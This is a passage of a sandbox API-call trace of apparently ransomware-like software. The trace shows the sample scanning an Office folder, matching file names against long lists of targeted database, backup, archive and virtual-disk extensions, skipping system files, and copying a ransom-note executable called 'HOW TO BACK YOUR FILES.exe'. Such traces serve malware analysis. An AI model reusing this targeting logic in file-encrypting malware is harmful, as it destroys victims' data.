	[0076.292] lstrlenW (lpString="fp5") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fp5") returned 1
	[0076.292] lstrlenW (lpString="fp7") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fp7") returned 1
	[0076.292] lstrlenW (lpString="fpt") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fpt") returned 1
	[0076.292] lstrlenW (lpString="frm") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="frm") returned 1
	[0076.292] lstrlenW (lpString="gdb") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="gdb") returned 1
	[0076.292] lstrlenW (lpString="gdb") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="gdb") returned 1
	[0076.292] lstrlenW (lpString="grdb") returned 4
	[0076.292] lstrcmpiW (lpString1=".ODF", lpString2="grdb") returned -1
	[0076.292] lstrlenW (lpString="gwi") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="gwi") returned 1
	[0076.292] lstrlenW (lpString="hdb") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="hdb") returned 1
	[0076.292] lstrlenW (lpString="his") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="his") returned 1
	[0076.292] lstrlenW (lpString="ib") returned 2
	[0076.292] lstrcmpiW (lpString1="DF", lpString2="ib") returned -1
	[0076.292] lstrlenW (lpString="idb") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="idb") returned 1
	[0076.292] lstrlenW (lpString="ihx") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="ihx") returned 1
	[0076.293] lstrlenW (lpString="itdb") returned 4
	[0076.293] lstrcmpiW (lpString1=".ODF", lpString2="itdb") returned -1
	[0076.293] lstrlenW (lpString="itw") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="itw") returned 1
	[0076.293] lstrlenW (lpString="jet") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="jet") returned 1
	[0076.293] lstrlenW (lpString="jtx") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="jtx") returned 1
	[0076.293] lstrlenW (lpString="kdb") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="kdb") returned 1
	[0076.293] lstrlenW (lpString="kexi") returned 4
	[0076.293] lstrcmpiW (lpString1=".ODF", lpString2="kexi") returned -1
	[0076.293] lstrlenW (lpString="kexic") returned 5
	[0076.293] lstrcmpiW (lpString1="E.ODF", lpString2="kexic") returned -1
	[0076.293] lstrlenW (lpString="kexis") returned 5
	[0076.293] lstrcmpiW (lpString1="E.ODF", lpString2="kexis") returned -1
	[0076.293] lstrlenW (lpString="lgc") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="lgc") returned 1
	[0076.293] lstrlenW (lpString="lwx") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="lwx") returned 1
	[0076.293] lstrlenW (lpString="maf") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="maf") returned 1
	[0076.293] lstrlenW (lpString="maq") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="maq") returned 1
	[0076.293] lstrlenW (lpString="mar") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="mar") returned 1
	[0076.293] lstrlenW (lpString="marshal") returned 7
	[0076.293] lstrcmpiW (lpString1="ICE.ODF", lpString2="marshal") returned -1
	[0076.293] lstrlenW (lpString="mas") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="mas") returned 1
	[0076.293] lstrlenW (lpString="mav") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="mav") returned 1
	[0076.293] lstrlenW (lpString="maw") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="maw") returned 1
	[0076.293] lstrlenW (lpString="mdbhtml") returned 7
	[0076.293] lstrcmpiW (lpString1="ICE.ODF", lpString2="mdbhtml") returned -1
	[0076.293] lstrlenW (lpString="mdn") returned 3
	[0076.293] lstrcmpiW (lpString1="ODF", lpString2="mdn") returned 1
	[0076.294] lstrlenW (lpString="mdt") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="mdt") returned 1
	[0076.294] lstrlenW (lpString="mfd") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="mfd") returned 1
	[0076.294] lstrlenW (lpString="mpd") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="mpd") returned 1
	[0076.294] lstrlenW (lpString="mrg") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="mrg") returned 1
	[0076.294] lstrlenW (lpString="mud") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="mud") returned 1
	[0076.294] lstrlenW (lpString="mwb") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="mwb") returned 1
	[0076.294] lstrlenW (lpString="myd") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="myd") returned 1
	[0076.294] lstrlenW (lpString="ndf") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="ndf") returned 1
	[0076.294] lstrlenW (lpString="nnt") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="nnt") returned 1
	[0076.294] lstrlenW (lpString="nrmlib") returned 6
	[0076.294] lstrcmpiW (lpString1="CE.ODF", lpString2="nrmlib") returned -1
	[0076.294] lstrlenW (lpString="ns2") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="ns2") returned 1
	[0076.294] lstrlenW (lpString="ns3") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="ns3") returned 1
	[0076.294] lstrlenW (lpString="ns4") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="ns4") returned 1
	[0076.294] lstrlenW (lpString="nsf") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="nsf") returned 1
	[0076.294] lstrlenW (lpString="nv") returned 2
	[0076.294] lstrcmpiW (lpString1="DF", lpString2="nv") returned -1
	[0076.294] lstrlenW (lpString="nv2") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="nv2") returned 1
	[0076.294] lstrlenW (lpString="nwdb") returned 4
	[0076.294] lstrcmpiW (lpString1=".ODF", lpString2="nwdb") returned -1
	[0076.294] lstrlenW (lpString="nyf") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="nyf") returned 1
	[0076.294] lstrlenW (lpString="odb") returned 3
	[0076.294] lstrcmpiW (lpString1="ODF", lpString2="odb") returned 1
	[0076.294] lstrlenW (lpString="odb") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="odb") returned 1
	[0076.295] lstrlenW (lpString="oqy") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="oqy") returned -1
	[0076.295] lstrlenW (lpString="ora") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="ora") returned -1
	[0076.295] lstrlenW (lpString="orx") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="orx") returned -1
	[0076.295] lstrlenW (lpString="owc") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="owc") returned -1
	[0076.295] lstrlenW (lpString="p96") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="p96") returned -1
	[0076.295] lstrlenW (lpString="p97") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="p97") returned -1
	[0076.295] lstrlenW (lpString="pan") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="pan") returned -1
	[0076.295] lstrlenW (lpString="pdb") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="pdb") returned -1
	[0076.295] lstrlenW (lpString="pdm") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="pdm") returned -1
	[0076.295] lstrlenW (lpString="pnz") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="pnz") returned -1
	[0076.295] lstrlenW (lpString="qry") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="qry") returned -1
	[0076.295] lstrlenW (lpString="qvd") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="qvd") returned -1
	[0076.295] lstrlenW (lpString="rbf") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="rbf") returned -1
	[0076.295] lstrlenW (lpString="rctd") returned 4
	[0076.295] lstrcmpiW (lpString1=".ODF", lpString2="rctd") returned -1
	[0076.295] lstrlenW (lpString="rod") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="rod") returned -1
	[0076.295] lstrlenW (lpString="rodx") returned 4
	[0076.295] lstrcmpiW (lpString1=".ODF", lpString2="rodx") returned -1
	[0076.295] lstrlenW (lpString="rpd") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="rpd") returned -1
	[0076.295] lstrlenW (lpString="rsd") returned 3
	[0076.295] lstrcmpiW (lpString1="ODF", lpString2="rsd") returned -1
	[0076.295] lstrlenW (lpString="sas7bdat") returned 8
	[0076.295] lstrcmpiW (lpString1="FICE.ODF", lpString2="sas7bdat") returned -1
	[0076.296] lstrlenW (lpString="sbf") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="sbf") returned -1
	[0076.296] lstrlenW (lpString="scx") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="scx") returned -1
	[0076.296] lstrlenW (lpString="sdb") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="sdb") returned -1
	[0076.296] lstrlenW (lpString="sdc") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="sdc") returned -1
	[0076.296] lstrlenW (lpString="sdf") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="sdf") returned -1
	[0076.296] lstrlenW (lpString="sis") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="sis") returned -1
	[0076.296] lstrlenW (lpString="spq") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="spq") returned -1
	[0076.296] lstrlenW (lpString="te") returned 2
	[0076.296] lstrcmpiW (lpString1="DF", lpString2="te") returned -1
	[0076.296] lstrlenW (lpString="teacher") returned 7
	[0076.296] lstrcmpiW (lpString1="ICE.ODF", lpString2="teacher") returned -1
	[0076.296] lstrlenW (lpString="tmd") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="tmd") returned -1
	[0076.296] lstrlenW (lpString="tps") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="tps") returned -1
	[0076.296] lstrlenW (lpString="trc") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="trc") returned -1
	[0076.296] lstrlenW (lpString="trc") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="trc") returned -1
	[0076.296] lstrlenW (lpString="trm") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="trm") returned -1
	[0076.296] lstrlenW (lpString="udb") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="udb") returned -1
	[0076.296] lstrlenW (lpString="udl") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="udl") returned -1
	[0076.296] lstrlenW (lpString="usr") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="usr") returned -1
	[0076.296] lstrlenW (lpString="v12") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="v12") returned -1
	[0076.296] lstrlenW (lpString="vis") returned 3
	[0076.296] lstrcmpiW (lpString1="ODF", lpString2="vis") returned -1
	[0076.297] lstrlenW (lpString="vpd") returned 3
	[0076.297] lstrcmpiW (lpString1="ODF", lpString2="vpd") returned -1
	[0076.297] lstrlenW (lpString="vvv") returned 3
	[0076.297] lstrcmpiW (lpString1="ODF", lpString2="vvv") returned -1
	[0076.297] lstrlenW (lpString="wdb") returned 3
	[0076.297] lstrcmpiW (lpString1="ODF", lpString2="wdb") returned -1
	[0076.297] lstrlenW (lpString="wmdb") returned 4
	[0076.297] lstrcmpiW (lpString1=".ODF", lpString2="wmdb") returned -1
	[0076.297] lstrlenW (lpString="wrk") returned 3
	[0076.297] lstrcmpiW (lpString1="ODF", lpString2="wrk") returned -1
	[0076.297] lstrlenW (lpString="xdb") returned 3
	[0076.297] lstrcmpiW (lpString1="ODF", lpString2="xdb") returned -1
	[0076.297] lstrlenW (lpString="xld") returned 3
	[0076.297] lstrcmpiW (lpString1="ODF", lpString2="xld") returned -1
	[0076.297] lstrlenW (lpString="xmlff") returned 5
	[0076.297] lstrcmpiW (lpString1="E.ODF", lpString2="xmlff") returned -1
	[0076.297] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0
	[0076.297] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.297] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0076.297] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033"
	[0076.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0076.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0076.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned 60
	[0076.297] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033"
	[0076.297] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.297] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.302] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x458bf7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x458bf7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.302] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.302] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.302] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.302] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x458bf7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x458bf7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.302] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.303] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.303] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.303] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.303] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="Apollon865.txt.exe") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2=".") returned 1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="..") returned 1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="windows") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="bootmgr") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="temp") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="pagefile.sys") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="boot") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="ids.txt") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="ntuser.dat") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="perflogs") returned -1
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="MSBuild") returned -1
	[0076.303] lstrlenW (lpString="ACEINTL.DLL") returned 11
	[0076.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*") returned 62
	[0076.303] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ACEINTL.DLL" | out: lpString1="ACEINTL.DLL") returned="ACEINTL.DLL"
	[0076.303] lstrlenW (lpString="ACEINTL.DLL") returned 11
	[0076.303] lstrlenW (lpString="Apollon865") returned 10
	[0076.303] lstrcmpiW (lpString1="CEINTL.DLL", lpString2="Apollon865") returned 1
	[0076.303] lstrlenW (lpString=".dll") returned 4
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2=".dll") returned 1
	[0076.303] lstrlenW (lpString=".lnk") returned 4
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2=".lnk") returned 1
	[0076.303] lstrlenW (lpString=".ini") returned 4
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2=".ini") returned 1
	[0076.303] lstrlenW (lpString=".sys") returned 4
	[0076.303] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2=".sys") returned 1
	[0076.303] lstrlenW (lpString="ACEINTL.DLL") returned 11
	[0076.303] lstrlenW (lpString="bak") returned 3
	[0076.303] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1
	[0076.303] lstrlenW (lpString="ba_") returned 3
	[0076.303] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1
	[0076.303] lstrlenW (lpString="dbb") returned 3
	[0076.303] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1
	[0076.304] lstrlenW (lpString="vmdk") returned 4
	[0076.304] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1
	[0076.304] lstrlenW (lpString="rar") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1
	[0076.304] lstrlenW (lpString="zip") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1
	[0076.304] lstrlenW (lpString="tgz") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1
	[0076.304] lstrlenW (lpString="vbox") returned 4
	[0076.304] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1
	[0076.304] lstrlenW (lpString="vdi") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1
	[0076.304] lstrlenW (lpString="vhd") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1
	[0076.304] lstrlenW (lpString="vhdx") returned 4
	[0076.304] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1
	[0076.304] lstrlenW (lpString="avhd") returned 4
	[0076.304] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1
	[0076.304] lstrlenW (lpString="db") returned 2
	[0076.304] lstrcmpiW (lpString1="LL", lpString2="db") returned 1
	[0076.304] lstrlenW (lpString="db2") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1
	[0076.304] lstrlenW (lpString="db3") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1
	[0076.304] lstrlenW (lpString="dbf") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1
	[0076.304] lstrlenW (lpString="mdf") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1
	[0076.304] lstrlenW (lpString="mdb") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1
	[0076.304] lstrlenW (lpString="sql") returned 3
	[0076.304] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1
	[0076.304] lstrlenW (lpString="sqlite") returned 6
	[0076.304] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1
	[0076.304] lstrlenW (lpString="sqlite3") returned 7
	[0076.304] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1
	[0076.304] lstrlenW (lpString="sqlitedb") returned 8
	[0076.304] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1
	[0076.304] lstrlenW (lpString="xml") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1
	[0076.305] lstrlenW (lpString="$er") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1
	[0076.305] lstrlenW (lpString="4dd") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1
	[0076.305] lstrlenW (lpString="4dl") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1
	[0076.305] lstrlenW (lpString="^^^") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1
	[0076.305] lstrlenW (lpString="abs") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1
	[0076.305] lstrlenW (lpString="abx") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1
	[0076.305] lstrlenW (lpString="accdb") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1
	[0076.305] lstrlenW (lpString="accdc") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1
	[0076.305] lstrlenW (lpString="accde") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1
	[0076.305] lstrlenW (lpString="accdr") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1
	[0076.305] lstrlenW (lpString="accdt") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1
	[0076.305] lstrlenW (lpString="accdw") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1
	[0076.305] lstrlenW (lpString="accft") returned 5
	[0076.305] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1
	[0076.305] lstrlenW (lpString="adb") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0076.305] lstrlenW (lpString="adb") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0076.305] lstrlenW (lpString="ade") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1
	[0076.305] lstrlenW (lpString="adf") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1
	[0076.305] lstrlenW (lpString="adn") returned 3
	[0076.305] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1
	[0076.306] lstrlenW (lpString="adp") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1
	[0076.306] lstrlenW (lpString="alf") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1
	[0076.306] lstrlenW (lpString="ask") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1
	[0076.306] lstrlenW (lpString="btr") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1
	[0076.306] lstrlenW (lpString="cat") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1
	[0076.306] lstrlenW (lpString="cdb") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1
	[0076.306] lstrlenW (lpString="ckp") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1
	[0076.306] lstrlenW (lpString="cma") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1
	[0076.306] lstrlenW (lpString="cpd") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1
	[0076.306] lstrlenW (lpString="dacpac") returned 6
	[0076.306] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1
	[0076.306] lstrlenW (lpString="dad") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1
	[0076.306] lstrlenW (lpString="dadiagrams") returned 10
	[0076.306] lstrcmpiW (lpString1="CEINTL.DLL", lpString2="dadiagrams") returned -1
	[0076.306] lstrlenW (lpString="daschema") returned 8
	[0076.306] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1
	[0076.306] lstrlenW (lpString="db-journal") returned 10
	[0076.306] lstrcmpiW (lpString1="CEINTL.DLL", lpString2="db-journal") returned -1
	[0076.306] lstrlenW (lpString="db-shm") returned 6
	[0076.306] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1
	[0076.306] lstrlenW (lpString="db-wal") returned 6
	[0076.306] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1
	[0076.306] lstrlenW (lpString="dbc") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1
	[0076.306] lstrlenW (lpString="dbs") returned 3
	[0076.306] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1
	[0076.306] lstrlenW (lpString="dbt") returned 3
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1
	[0076.307] lstrlenW (lpString="dbv") returned 3
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1
	[0076.307] lstrlenW (lpString="dbx") returned 3
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1
	[0076.307] lstrlenW (lpString="dcb") returned 3
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1
	[0076.307] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1
	[0076.307] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ACEODBCI.DLL" | out: lpString1="ACEODBCI.DLL") returned="ACEODBCI.DLL"
	[0076.307] lstrlenW (lpString="ACEODBCI.DLL") returned 12
	[0076.307] lstrlenW (lpString="Apollon865") returned 10
	[0076.307] lstrcmpiW (lpString1="EODBCI.DLL", lpString2="Apollon865") returned 1
	[0076.307] lstrlenW (lpString=".dll") returned 4
	[0076.307] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2=".dll") returned 1
	[0076.307] lstrlenW (lpString=".lnk") returned 4
	[0076.307] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2=".lnk") returned 1
	[0076.307] lstrlenW (lpString=".ini") returned 4
	[0076.307] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2=".ini") returned 1
